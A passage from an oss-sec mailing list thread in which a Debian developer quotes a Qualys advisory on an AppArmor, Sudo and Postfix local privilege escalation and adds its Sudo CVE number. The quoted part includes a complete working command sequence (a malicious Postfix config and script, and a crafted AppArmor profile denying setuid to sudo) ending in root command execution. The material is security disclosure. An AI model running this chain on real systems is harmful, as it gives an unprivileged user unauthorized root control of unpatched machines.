oss-sec mailing list archives

Re: Re: Multiple vulnerabilities in AppArmor


From: Salvatore Bonaccorso <carnil () debian org>
Date: Fri, 3 Apr 2026 11:03:55 +0200

Hi,

On Thu, Mar 12, 2026 at 09:33:57PM +0000, Qualys Security Advisory wrote:
[...]
AppArmor + Sudo + Postfix = root
[...]
========================================================================
AppArmor + Sudo + Postfix = root
========================================================================

    Did you get your disconnection notice?
    Mine came in the mail today
        -- Sonic Youth, "Disconnection Notice"

As an unprivileged local attacker, the ability to load, replace, and
remove arbitrary AppArmor profiles is remarkable, but our crucial and
burning question was: can this ability be transformed into an LPE to
full root privileges? Our key idea was to load new AppArmor profiles
that deny certain syscalls to certain privileged programs, and
consequently to create exploitable "fail-open" situations.

From our work on Baron Samedit, we remembered that when Sudo encounters
an unusual situation, it sends a mail to the system's administrator. And
to send such a mail on Ubuntu, Sudo executes /usr/sbin/sendmail as our
unprivileged user, not as root, with our original environment variables
preserved (excluding the obviously dangerous variables such as LD_AUDIT
and LD_PRELOAD, which were removed from the environment by the dynamic
loader, ld.so, before the execution of Sudo's main() function).

From CVE-2002-0043:

  https://www.sudo.ws/security/advisories/postfix/
  (by Sebastian Krahmer)

we also remembered that if the Postfix mail server is installed on the
system, and if Postfix's /usr/sbin/sendmail is executed as root but with
user-controlled environment variables (in particular, the MAIL_CONFIG
environment variable), then Postfix can be forced by the unprivileged
user into executing arbitrary commands as root.

Our burning question therefore became: if we, as an unprivileged local
attacker, load a new AppArmor profile that denies the setuid capability
(CAP_SETUID) to Sudo (thereby potentially preventing Sudo from dropping
its root privileges before it executes Postfix's /usr/sbin/sendmail),
and if we execute Sudo with a MAIL_CONFIG environment variable that
points to our own Postfix configuration in /tmp, is the /usr/bin/id
command from our Postfix configuration executed as root? The answer:

------------------------------------------------------------------------
$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"

$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

$ dpkg -S /usr/sbin/sendmail
postfix: /usr/sbin/sendmail

$ mkdir /tmp/postfix

$ cat > /tmp/postfix/main.cf << "EOF"
command_directory = /tmp/postfix
EOF

$ cat > /tmp/postfix/postdrop << "EOF"
#!/bin/sh
/usr/bin/id >> /tmp/postfix/pwned
EOF

$ chmod -R 0755 /tmp/postfix

$ apparmor_parser -K -o sudo.pf << "EOF"
/usr/bin/sudo {
  allow file,
  allow signal,
  allow network,
  allow capability,
  deny capability setuid,
}
EOF

$ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace
Password: 

$ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever
sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
sudo: unable to open /etc/sudoers: Operation not permitted
sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
sudo: error initializing audit plugin sudoers_audit

$ cat /tmp/postfix/pwned
uid=0(root) gid=1001(jane) groups=1001(jane),100(users)
^^^^^^^^^^^
------------------------------------------------------------------------

The surprising sequence of events that led to this LPE as root is:

- in sudoers_init(), Sudo calls setresuid(0, -1, -1) to set its real uid
  to 0 (PERM_ROOT), which succeeds because its effective and saved uids
  are already 0 (Sudo is SUID-root);

- in open_sudoers() (more precisely, in open_file()), Sudo calls
  setresuid(-1, 1, -1) to temporarily set its effective uid to 1
  (PERM_SUDOERS), which fails (with EPERM, "Operation not permitted")
  because none of Sudo's uids is 1 (they are all 0) and because Sudo
  does not have the CAP_SETUID (our AppArmor profile denies it);

- back in sudoers_init(), Sudo calls mail_parse_errors() to send a mail
  to the administrator about this setresuid() failure ("problem parsing
  sudoers", "unable to open /etc/sudoers: Operation not permitted");

- then, in exec_mailer(), Sudo calls setuid(0) (at line 331 below) to
  set all of its uids to 0, which succeeds because they are already 0;

- still in exec_mailer(), Sudo calls setuid(1001) (at line 336) to
  permanently set all of its uids to our unprivileged user's uid, which
  fails (with EPERM, "Operation not permitted") because none of Sudo's
  uids is 1001 (they are all 0) and because Sudo does not have the
  CAP_SETUID (our AppArmor profile denies it);

- finally, and despite this setuid() failure, Sudo's exec_mailer() calls
  execv() (at line 345) to execute Postfix's /usr/sbin/sendmail with our
  original environment variables (including our MAIL_CONFIG), as root
  instead of our unprivileged user (because the setuid(1001) to drop
  Sudo's root privileges failed).

------------------------------------------------------------------------
 284 exec_mailer(int pipein)
 ...
 327     /*
 328      * Depending on the config, either run the mailer as root
 329      * (so user cannot kill it) or as the user (for the paranoid).
 330      */
 331     if (setuid(ROOT_UID) != 0) {
 332         sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u",
 333             ROOT_UID);
 334     }
 335     if (evl_conf->mailuid != ROOT_UID) {
 336         if (setuid(evl_conf->mailuid) != 0) {
 337             sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u",
 338                 (unsigned int)evl_conf->mailuid);
 339         }
 340     }
 ...
 342     if (evl_conf->mailuid == ROOT_UID)
 343         execve(mpath, argv, (char **)root_envp);
 344     else
 345         execv(mpath, argv);
------------------------------------------------------------------------

Note: without the ability to load an AppArmor profile that denies the
CAP_SETUID to Sudo, this "fail-open" situation in Sudo would not be
exploitable, for the reasons explained in the "execve() and EAGAIN"
section of "man execve".

Last-minute note: while writing a mail to Sudo's maintainer about this
"fail-open" situation, we noticed that it was independently discovered,
reported, and fixed in November 2025 (commit 3e474c2):

------------------------------------------------------------------------
exec_mailer: Set group as well as uid when running the mailer
Also make a setuid(), setgid() or setgroups() failure fatal.
Found by the ZeroPath AI Security Engineer <https://zeropath.com>
------------------------------------------------------------------------

Slightly disappointed by this user-space LPE (because Postfix is not
installed by default on Ubuntu anymore), we decided to explore one more
idea: maybe AppArmor's kernel code contains vulnerabilities that can be
exploited in kernel space by loading, replacing, or removing arbitrary
AppArmor profiles?

To close the circle here: sudo has a own CVE for the issue addressed
above, it is CVE-2026-35535.

https://www.cve.org/CVERecord?id=CVE-2026-35535

Regards,
Salvatore


Current thread: